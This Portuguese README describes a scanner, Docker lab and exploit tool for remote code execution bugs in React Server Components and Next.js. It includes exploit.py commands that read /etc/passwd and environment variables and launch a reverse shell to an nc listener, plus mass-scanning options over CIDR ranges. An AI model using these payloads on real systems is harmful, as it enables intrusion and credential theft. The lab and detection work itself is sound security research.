
React2shell-web-scanner
Scanner de vulnerabilidades de alta fidelidade para CVE-2025-55182 e CVE-2025-66478 - Vulnerabilidades de Execução Remota de Código em React Server Components / Next.js.
📖 Para análise técnica detalhada, mecânica de exploração e dados IOC, consulte SECURITY-RESEARCH.md
Esta ferramenta é fornecida APENAS para FINS EDUCACIONAIS E DE TESTES DE SEGURANÇA AUTORIZADOS. O acesso não autorizado a sistemas de computador é ilegal. Use estas ferramentas apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. Os autores não assumem qualquer responsabilidade pelo uso indevido.
| CVE | Descrição | CVSS |
|---|
| CVE-2025-55182 | RCE por Desserialização Insegura em React Server Components | 9.8 Crítico |
| CVE-2025-66478 | RCE em Server Actions do Next.js | 9.8 Crítico |
Pacotes Afetados:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0Versões Corrigidas:
# Nenhuma instalação necessária - uv gerencia as dependências
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# URL única
python3 react2shell-scanner -u https://example.com
# Modo seguro (sem execução de RCE)
python3 react2shell-scanner -u https://example.com --safe-check
# A partir de arquivo de hosts
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# Intervalo CIDR
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# Múltiplos intervalos CIDR
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# Enumeração de subdomínios
python3 react2shell-scanner -u example.com --enumerate-subdomains
# Wordlist personalizada de subdomínios
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# Caminhos personalizados
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# Ignorar fingerprinting (varrer tudo)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# Verboso com SSL desativado
python3 react2shell-scanner -u https://example.com -k -v
# Envio de descobertas para a Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# Modo de depuração (salvar payloads)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# Enviar todos os resultados (não apenas vulnerabilidades)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
Crie .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
Ou use variáveis de ambiente:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
Um ambiente de teste baseado em Docker está incluído. Consulte Lab-instructions-sample.md para referência rápida.
# Iniciar laboratório
cd test-lab/lab
docker-compose up -d
# Serviços:
# - Vulnerável: http://localhost:3011
# - Corrigido: http://localhost:3012
# Testar instância vulnerável (coleta segura de evidências)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# Testar instância corrigida
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# Executar demonstração completa
./test-and-demo.sh --full-demo
⚠️ Nota: Comandos de exploração (ex.:
exploit.py -c "whoami") acionam RCE REAL. Use apenas em contêineres Docker locais para fins de pesquisa.
Execute comandos em alvos vulneráveis. Requer Python 3.11+
cd test-lab
pip3.11 install -r requirements.txt
# Ou: pip3.11 install rich-click fake-useragent rich requests
# Execução básica de comando
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Saída: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Saída: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Saída: 99e28775bf80 (ID do contêiner)
# Enumeração do sistema
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# Reconhecimento da aplicação
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Saída: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# Informações de rede
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# Enumeração de processos
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Obter gateway da rede Docker
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# Iniciar ouvinte (em outro terminal)
nc -lvnp 4444
# Lançar shell reverso
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# Tipos de payload disponíveis: nc, nc-mkfifo, sh, bash, perl
| Opção | Descrição |
|---|---|
-u, --url | URL do alvo (obrigatório) |
-c, --cmd | Comando a executar |
-r, --reverse | Ativar modo shell reverso |
-l, --lhost | Host do ouvinte para shell reverso |
-p, --lport | Porta do ouvinte para shell reverso |
-P, --payload | Tipo de payload: nc, nc-mkfifo, sh, bash, perl |
--timeout | Tempo limite da requisição (padrão: 10s) |
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
O scanner inclui Indicadores de Compromisso conhecidos de campanhas de exploração ativas:
payloads-exploits/iocs.csvpayloads-exploits/weaponized-payloadspayloads-exploits/iocs_patterns.csvCorrespondências de IOC detectadas são sinalizadas com alta severidade.
| Arquivo | Conteúdo |
|---|---|
iocs.csv | 32 IPs maliciosos conhecidos com dados de geolocalização |
iocs_patterns.csv | IOCs estendidos: domínios C2, URLs de droppers, hashes de malware, carteiras Monero |
weaponized-payloads | Payloads de ataques do mundo real observados em exploração ativa |
exploit-2025-55182 | Formato de requisição HTTP bruta para o exploit |
--safe-check)echo $((41*271))react2shell-scanner-CVE-2025-55182/
├── react2shell-scanner # Script principal do scanner
├── cve-2025-66478-web-scan # Scanner de referência original
├── nuclei-rules # Template Nuclei
├── test-and-demo.sh # Automação de testes
├── README.md # Este arquivo
├── SECURITY-RESEARCH.md # Análise técnica detalhada
├── Lab-instructions-sample.md # Guia rápido de testes em laboratório
├── payloads-exploits/
│ ├── iocs.csv # IPs maliciosos conhecidos
│ ├── iocs_patterns.csv # IOCs estendidos (domínios, URLs, hashes)
│ ├── weaponized-payloads # Payloads de ataque do mundo real
│ └── exploit-2025-55182 # Requisição HTTP bruta do exploit
└── test-lab/
├── exploit.py # Ferramenta de exploração
├── lab/
│ ├── docker-compose.yml
│ ├── vulnerable/ # Aplicação Next.js vulnerável
│ └── patched/ # Aplicação Next.js corrigida
└── packages/
├── vulnerable/ # Pacotes npm vulneráveis
└── patched/ # Pacotes npm corrigidos
| Repositório | Finalidade |
|---|---|
| react2shell-scanner-CVE-2025-55182 | Laboratórios, scanner e exploits (este repositório) |
| react2shell-scanner-rce-react-next | Scanner completo com interface web |
Esta ferramenta é fornecida apenas para testes de segurança autorizados. Você deve ter permissão explícita por escrito antes de escanear qualquer alvo. Escaneamentos não autorizados podem violar leis de crimes de informática.
Use com responsabilidade:
Trazido a você por pesquisadores de segurança trabalhando para tornar a web mais segura.